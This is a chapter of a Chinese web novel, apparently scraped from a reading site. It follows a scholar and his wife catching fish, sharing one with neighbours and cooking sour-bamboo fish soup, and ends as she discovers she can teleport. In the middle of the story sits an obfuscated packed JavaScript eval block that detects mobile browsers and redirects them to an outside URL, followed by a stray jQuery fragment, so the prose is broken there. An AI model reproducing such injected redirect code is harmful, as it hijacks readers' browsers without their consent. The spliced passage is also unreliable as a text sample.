日子渐渐归于平静,谢长清跟往常一样去学堂,按时领着二两银子的束脩,终于不用搬家。
天气日渐炎热起来,乡里的村民自发携带香火去仙人庙还愿,云鸾也和马氏她们走了一趟。
村民们对仙人的信仰狂热无比,深信受其庇佑,方才免除劫难。
之前谢长清下湖把里头的鱼惦记上了,散学回家的路上特地去长生湖抓了两尾回来。
那两尾青鱼一条有四五斤,一条则有七八斤。
云鸾被唬住了,直瞪着眼道:“郎君从哪儿弄来这么大的鱼?”
谢长清忽悠道:“是一位学生家里头送的。”
两尾鱼放进桶里,扑腾挣扎,水花四溅,云鸾“哎哟”一声,连连后退,“这么大的鱼,我俩吃不了。”
谢长清随口道:“平日王家也时常关照,他家人多,阿蛮给他们送条过去?”
云鸾点头,“大的给他们。”
谢长清应好,“阿蛮可提得动?”
云鸾:“拿空桶送过去。”
于是谢长清拿空木桶来装鱼,抓鱼时那鱼扑腾得厉害,水溅了一脸,云鸾在一旁笑。
把鱼放到桶里,云鸾给王家提过去,“啧啧”道:“还挺沉。”
谢长清:“阿蛮走慢点,我先杀鱼,你想吃什么鱼?”
云鸾:“郎君做酸笋鱼,王嫂家的酸笋好吃,我顺道拿些回来。”
谢长清应好。
云鸾提着木桶去王家,那鱼和木桶综合下来得有十斤了,她走走停停。
张氏出来见她提着桶过来,忙来看情形。
见到桶里的青鱼,张氏诧异不已,脱口道:“这么大的鱼哩!”
云鸾道:“是学堂里的学生送的,谢郎说拿去给孩子们熬汤喝。”
张氏颇不好意思,腼腆道:“这怎么好意思呢。”
恰逢王大他们扛着锄头回来,王二郎甚少干过农活,挖个土都磨皮擦痒的,被王大一路埋汰。
王二郎嬉皮笑脸。
几人见到云鸾拿的青鱼,王二郎馋得不行,脱口道:“哎呀,晚上有口福了,做酸笋鱼才叫好哩!”
王大敲了他一记,嫌弃道:“吃吃吃,一天到晚就晓得吃。”
王二郎捂住头,提着木桶跑得飞快,被马氏一顿调侃。
云鸾问她有没有酸笋,马氏笑着道:“有,阿蛮等着,我给你抓。”
回到王家,马氏去抓泡菜坛子里的酸笋。
王二郎会下厨,叫她多抓些,又问有没有腊猪油,结果家里没有,云鸾道:“我家有。”
王二郎立马让张氏跟着去拿点回来。
云鸾端了一碗酸笋回去,张氏帮忙提桶,又将就着那只碗换了几坨腊猪油。
当时谢长清在片鱼片,云鸾拿筷子去取腊猪油。
张氏站在灶房门口,见他刀工了得,夸赞道:“谢先生当真上得厅堂下得厨房,里里外外都能操持,这样的爷们儿可不容易找。”
谢长清客气回道:“张娘子谬赞了。”
云鸾取来腊猪油,接茬儿道:“二嫂别夸他,他会得意。”
张氏掩嘴笑,道了声谢,端着腊猪油走了。
云鸾手贱掐了一把谢长清的屁股,他居高临下斜睨她,“莫要没个正经。”
云鸾厚颜无耻道:“我又没让你光着膀子做饭。”
谢长清:“……”
真是没羞没臊。
今儿橘猫吃了个饱,鱼鳃和内脏全都入了它的肚,心满意足蹲在李树下舔爪子。
腊猪油能增香,把油炸出来后煎鱼头鱼骨,而后添水,再把酸笋泡姜等物下锅熬汤。
庖厨里香气四溢,狗子蹲在门口馋得流哈喇子。
云鸾特别积极,端小板凳,小桌子到院子里,碗筷那些早早就摆放好了,只等着鲜鱼出锅。
知晓她会吃点辣,谢长清特地添了些茱萸。
待鱼汤熬煮得差不多后,鱼片陆续下锅,这时灶里的柴火不能太旺,得小火一点点烫熟。
最后添入芫荽和香葱,尽管谢长清不喜欢芫荽,但云鸾爱食,自是依着她的口味来。
热气腾腾一锅端上桌,云鸾马屁拍上天,哄得谢长清压不住嘴角。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397231|200266||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他成就感十足。
那种滋味怎么形容呢,比起以前修道精进突破有意思多了。
他就喜欢把她当小猪仔喂养,每每看到她心满意足的样子,内心暖烘烘的,仿佛有了软肋。
鱼片爽滑细嫩,一点泥腥味都没有,鱼汤咸淡适中,腊猪油的焦香与酸笋发酵后的酸交织到一起,刺激味蕾,极其开胃。
云鸾连连夸赞,说这次煮的鱼比以往的都要好吃,肉质细嫩,比张老儿钓的鱼好吃多了。
谢长清忽悠她说是河鱼,云鸾颇觉诧异,因为真的不太一样。
这不,另一边的王家亦是夸赞连连,他家人多,鱼吃完了拿汤泡饭,那才叫安逸。
乡下物资匮乏,云鸾也喜欢鱼汤的滋味,让留着明早做面片汤吃。
大黄也饱餐一顿,鱼骨归它,鱼肉也吃了些,三黄鸡也跑来抢食。
那时太阳西落,留下少许余晖,山里的鹰鹃一个劲叫唤“米贵阳”。
晚风轻拂而过,如情人的手温柔抚慰。
云鸾舒适摸滚圆的肚子,一日三餐,两双筷子,一猫一鸡一狗,人间有味是清欢。
翌日谢长清用鱼汤做了面片汤,云鸾难得的起了个早。
随着初夏到来,天亮得越来越早,她吃了一碗面片汤后,又回去睡回笼觉。
谢长清出门前到床沿亲了她一下,听到关门声,之后云鸾又睡了许久才醒,想去茅房小解。
也不知怎么回事,想起上次的诡异情形,她鬼使神差下床,却并不着急动身,而是穿上木屐,站在床沿一动不动。
小腹尿意越来越明显,云鸾硬是憋着不动。
就这样硬生生憋着,憋了近半刻钟,在某一瞬间,眼前忽地一黑,周遭的环境以迅雷之速发生了变化。
厢房变成了茅房。
云鸾憋了满头大汗,惊恐地望着茅房里的一切。
她的人没有任何变化,可是她凭空出现在了茅房,因为方才满脑子都是想来茅房小解。
顾不得胸中恐慌,她匆忙小解,想着等会儿定要再尝试一次。
因为太邪门了!